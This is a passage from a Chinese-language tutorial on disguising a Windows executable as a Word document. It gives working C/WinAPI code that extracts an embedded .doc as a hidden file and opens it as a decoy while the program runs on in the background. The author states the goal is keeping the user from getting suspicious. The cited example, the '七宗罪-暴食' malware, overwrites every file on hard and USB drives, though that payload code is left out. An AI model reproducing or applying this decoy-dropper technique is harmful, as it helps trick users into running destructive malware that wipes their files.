4.资源文件的使用
如果我们的程序不需要让用户察觉,这样是不够的。一打开“ppt”或“doc”文件,什么事情有没有发生,那样会让人起疑心的。于是我们可以尝试将一个文件打包进EXE中,打开程序的时候释放文件,然后再自动打开该文件。
如之前提到过的“七宗罪-暴食”。目测是doc文档的程序,用户打开它的时候看到的是WORD程序打开了一个DOC文档,这样用户在短时间内就不会起疑心了,或许当用户察觉不对劲的时候磁盘里已经剩不下多少正常的文件了。
注:“七宗罪-暴食”。一开始释放word文件“黑客的诠释hackexe.doc”并打开该文档。
然后历遍所有的驱动器,如果找到硬盘或u盘,就开始历遍所有文件,同时尝试将接触到的所有文件的内容跟改为“暴食”二字。(会对文件造成破坏,请用虚拟机运行)
准备一份doc文档(这里是“黑客的诠释hackexe.doc”),加入资源中(加入过程就像Version资源的添加,这次是点击加入“导入”而非“新建”),如果加入的资源文件不是VS2010默认处理的文件,那么它就会提示以下对话框,我们填写资源类型为“DOC”即可。


程序一开始创建一个线程,这个线程的作用是提取资源中的文档生成隐藏文件“黑客的诠释hackexe.doc”并打开。
// 参数一:要生成的文件的文件名,参数二: 资源类型,参数三:是要提取哪个资源
bool ExtractResource(char*strDstFile, char* strResType, char* strResName)
{
// 创建文件
HANDLE hFile = CreateFileA(strDstFile,GENERIC_WRITE, NULL, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN, NULL);
if (hFile ==INVALID_HANDLE_VALUE)
return false;
// 查找资源文件 加载资源到内存 得到资源大小
HRSRC hRes = FindResourceA(NULL, strResName,strResType);
HGLOBAL hMem = LoadResource(NULL, hRes);
DWORD dwSize = SizeofResource(NULL, hRes);
// 写入文件
DWORD dwWrite = 0; // 返回写入字节
WriteFile(hFile, hMem, dwSize, &dwWrite,NULL);
CloseHandle(hFile);
return true;
}
DWORD WINAPIThreadFile( LPVOID lpParam ) //线程
{
ExtractResource("黑客的诠释.doc", "DOC",MAKEINTRESOURCEA(IDR_DOC1));
ShellExecuteA(NULL,"open","黑客的诠释.doc",NULL,NULL,SW_SHOWNORMAL);
return 0;
}
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCEhPrevInstance,PSTR szCmdLine, int iCmdShow)
{
//调用线程,然后关闭线程
CloseHandle(CreateThread(NULL,0,ThreadFile,NULL, 0,NULL));
//其他代码省略
/**************************************/
return 0;
}
这样,用户打开我们的“doc文档(程序)”的时候就会看到一个doc文件被打开了(程序开始执行),用户关闭这个doc后程序依旧在后台运行。